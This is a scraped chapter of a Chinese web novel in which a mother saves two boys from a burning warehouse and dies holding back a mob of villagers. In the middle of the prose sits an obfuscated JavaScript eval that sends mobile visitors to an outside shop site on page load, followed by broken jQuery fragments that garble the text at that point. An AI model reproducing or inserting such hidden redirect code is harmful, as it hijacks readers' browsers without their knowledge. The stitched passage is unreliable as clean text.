文趣网 > 都市小说 > 谁偷了我的脑花 > 29. 乱葬篇29
    曹如海看着石像,浑然不知火势已经逼近。

    田巧拽起田七,又架住曹如海的手臂将他撑起。

    田巧:“快走,别愣着了。”

    田七心里一阵后怕,自责感油然而生。如果刚才不是曹如海推开他,现在被石像砸砸中的人就是他了。到时候别说断腿,恐怕连命都没了。

    仓库里全是易燃的东西,火苗顺着墙角一路往屋顶爬,越烧越旺。浓烟呛得三人连连咳嗽,他们只能弯着腰,低着头,一点点往前挪。

    “那里有一个小洞,我们可以从那里钻出去。”曹如海指明方向。

    曹如海单腿着地,每走一步都很吃力,可他自始至终都没喊过一声疼,只是一次次对田七和田巧挤出勉强的微笑。

    田七看着他强撑的样子,喉咙发紧:“是不是很疼……”

    曹如海故作轻松:“还好,不怎么疼,就是单腿走路不习惯而已。”

    明眼人都看得出来曹如海已经疼到脸色都变了。

    田巧:“如海,你再坚持一下,等我们出去后就去葬尸坑重新给你找条腿。”

    突然,一个烧得通红的木架子轰然倒塌,火星四溅,吓得三人连连后撤。

    那木架子不偏不倚,正好堵死了他们离开的出口。老天似乎就是要跟他们开玩笑,非要在他们逃亡的路上状况百出。

    田巧:“如海,还有其他出口吗?”

    曹如海摇头:“窗户都被他们钉死了,大门和后门都有人守着,只有那个小洞没人知道,爬出去不会被发现。”

    此时的绝望就像这一场大火,永无止境,肆意燃烧。

    周围的空气越来越稀薄,浓烟像黑雾一样填满整个仓库,视线越来越模糊。能落脚的地方被火势一点点蚕食。整个仓库看上去摇摇欲坠,随时都可能塌掉。

    曹如海低下头:“你们不要管我了,我只会拖累你们。”

    曹如海不想成为他们的包袱,更不希望他们因为自己而葬身火海。

    田巧刚要开口,却被田七抢先一步:“曹如海,谁让你乱说话的。要走一起走,要死就一起死!你害我被抓的事我还没原谅你,你就想一走了之?你放狗屁!你给我好好活着,听到没有!”

    田七这一骂,曹如海并不生气,心里反而涌起一股又酸又暖的热流。

    田巧看着两人终于放下隔阂,替他们感到高兴。他们可是亲兄弟,打断骨头都连着筋,哪有什么解不开的过节。

    田巧:“你们在这里等我,我去挪开那个架子。”

    田七伸手阻拦,“不行,妈!太危险了!”

    田巧目光中带着震慑:“别过来。”

    田七和曹如海被镇住,没再多说一句话。

    田巧用后背顶开架子,火焰烧上她的衣服,她却浑然不觉,咬紧牙关,一点点用力。试了几次,架子也只是微微移动,她直接伸出双手,握住那烧得猩红发烫的木条,硬生生往旁边拖。

    曹如海和田七看得心脏揪疼。

    终于,木架被挪开,露出一道刚好能通过一个人的间隙。

    田巧顾不上喘气,回头招呼他们:“快过来!”

    田七和曹如海先通过间隙,最后才是田巧。

    “出口在那里!”曹如海的声音里带着喜悦。

    不远处的墙角,有一个小洞没有被堵上,还能通行。

    三人终于从洞口爬到仓库外,他们都累得瘫坐在草丛里,大口大口地吸气。

    田巧看两个孩子累得脱力,便带他们躲进一根巨大的空心枯木里。枯木内部刚好容下三人,隐蔽又安全。

    田巧:“缓口气后就走,我们必须要连夜离开村子。”

    这个地方多待一分钟就多一份危险。

    田巧把双手往袖子里缩了缩,手上的伤口一碰就疼,他现在连伸直手指都做不到,火辣辣的灼烧感一路窜到胳膊上。

    田七看得清楚,“妈——”

    田巧:“妈没事,只要我们能活下来就好,其他的都不要紧。”

    这些伤换回了三条人命,对田巧来说,怎么都是值得的。

    田巧:“明天就是你们的十四岁生日了,你们从小一起长大,虽然经常吵架斗嘴,但我知道,你们心里都很在意对方。我希望你们以后无论发生任何矛盾,都不会影响你们坚固的感情。一定要一起走下去,好吗?”

    田七和曹如海对视一眼后点了点头。

    田巧:“好了,我们该走了。等出了村子,你们想休息多久就休息多久。”

    三人钻出枯木桩,回头望了一眼仓库。火光冲天,浓烟滚滚,里面早已变成一片火海。

    还好,他们逃出来了。

    田巧和田七一左一右,架起曹如海,朝着村外拼命跑。

    每远离村子一步,他们的脚步就轻快一分。黑暗中,风从耳边吹过,带着自由的气息。

    “他们跑出来了!在这里!!快追!!”一声尖锐的喊叫声,划破黑夜。

    这一嗓子狠狠掐灭了他们眼前的希望,田巧脸色惊恐:“快!只要跑进山里的林子,我们活下去的几率会更大!”

    三人咬紧牙关,加快脚步。

    身后的脚步声越来越近。村民举着火把,像一群追猎的恶鬼,嘶吼着,咆哮着,死命追赶。

    “烧死晦女!烧死那两个被晦女养大的孩子!”

    “别让他们跑了!快!快追!”

    ……

    村民死死咬在他们身后。

    曹如海回头一瞥。离他们最近的村民,只差几步就能扑上来。

    他慌了,声音带着哭腔,一遍遍哀求:“求求你们了!放下我!不然这样下去大家都会死的!我会害死你们的!”

    曹如海的单腿每蹬一下,都疼得浑身冒冷汗。他知道是自己拖了后腿,心里又急又恨。如果不是他,田巧和田七早就安全逃走了。

    田七和田巧像没听见,依旧架着他,拼命往前跑。

    田巧声音坚定:“只要我还有一口气在,就绝对不会放弃你。”

    话音刚落,一个火把飞来砸在田巧的背上,让她差点摔倒。

    田七惊慌:“妈!你身后着火了!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895973|209380||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    火苗迅速在田巧的衣服上蔓延,她伸手拍打,可都无济于事。

    她索性放弃灭火,将田七和曹如海往前一推,声音急促:“快走!”

    田七:“不要,妈!我们一起走,我不要和妈妈分开……”

    他们明明从仓库的火海里逃出来了,生的希望就在眼前,只差几步就能逃离这个人间炼狱了。

    为什么……就差那么几步,他们怎么都够不到。

    田巧身后的火越烧越旺,泪水从她眼角滑落,在火光中闪着亮光:“小七听妈妈的话好不好,快点离开这里,你要照顾好如海,两个人一起好好活下去。”

    又一个火把砸过来,田巧忍着剧痛,对着两个孩子露出一个母亲温柔的笑容。

    下一秒,她利落转身。

    刚才看向孩子时的温柔,在转身面对村民的瞬间彻底消失,取而代之的是一双猩红怒视的双眸,死死盯着冲上来的每一个人。

    那眼神里,是视死如归的决绝,是长期积压的愤怒,是为了孩子甘愿粉身碎骨的疯狂。

    田七:“妈!”

    曹如海:“田姨!”

    田巧没有回头,她的背影在两个孩子的哭喊声中越走越远。

    “快走!!”田巧背对他们,喊声破音。

    冲在最前面的村民停下脚步,咽了口唾沫,下意识后退,他们被田巧的气势吓得不敢往前。

    田巧一步一步,稳稳地往前走。每走一步,身上就掉落一串燃烧的火星。火花星子落在地上,拖出一条长长的火道。

    村民们举着火把,距离田巧只有几步之遥。她孤身一人面对整个村子的人,就如同螳臂当车。

    几个胆大的村民咬牙抬脚,想要冲过去。

    田巧突然张开双臂,将身体撑成一个“大”字,声音嘶哑:“来啊!!!你们不怕死就来啊!!!”

    她带着满身烈火,步步向前,逼退村民。

    火焰越烧越猛,吞噬了她的身影。黑夜中,只剩下一个熊熊燃烧的火人,在固执地挪动着脚步。

    田七和曹如海浑身颤抖,两人紧握双拳,指甲深深嵌进掌心,鲜血顺着指缝一滴滴落下。

    田七将曹如海的胳膊往身上一架:“我们走。”

    田七逼迫自己迈动那双几乎失去知觉的腿,艰难地往山上的丛林走去。他每走一步,力气就被抽走一分,可他不敢停……这是他的母亲用命换来的活路。他必须走下去,必须带着曹如海离开这里,好好地活下去。

    他们俩低着头,压抑着喉咙里的呜咽,肩膀不停颤抖。

    他们往上走,走向生路。

    田巧往下走,走向末路。

    可惜的是,那团燃烧的身躯再也支撑不住,双膝跪地,再无声息。可田巧的双臂却不肯合拢,依旧倔强地张开,像一只即将折翼但仍要护巢的巨鸟,用最后一丝气力,为孩子筑起一道最夯实的人墙。

    在她身后,那条星火点点的火道,一点点暗淡下去,像是为她送行的灯盏逐一熄灭。火光渐弱,余温渐散,只剩满地灰烬在晚风中缓缓旋起,又缓缓飘散。